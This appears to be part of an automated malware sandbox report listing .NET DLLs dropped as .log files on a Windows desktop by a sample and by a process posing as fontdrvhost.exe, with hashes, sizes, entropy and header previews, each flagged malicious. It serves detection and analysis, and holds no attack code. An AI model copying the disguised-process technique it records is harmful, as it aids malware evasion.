File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qguCdZEu.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\qiEMTywj.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qiKKKJQB.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\qxbJOXLg.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\rAfUMkjC.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rmtKjMmm.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rrvChBIx.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rudcNvNr.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\sQxsIGwX.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\sXAbZyyE.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\sYhLnqXd.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\sihlzJJp.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tAOrkGQb.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tIxJOpqh.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tqrrAUxf.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\uHokLZDZ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uJzjHyIX.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\uRiBlhjd.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uvZrYWTP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uztLDTCs.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wHLAFYKX.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wOXBumXW.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
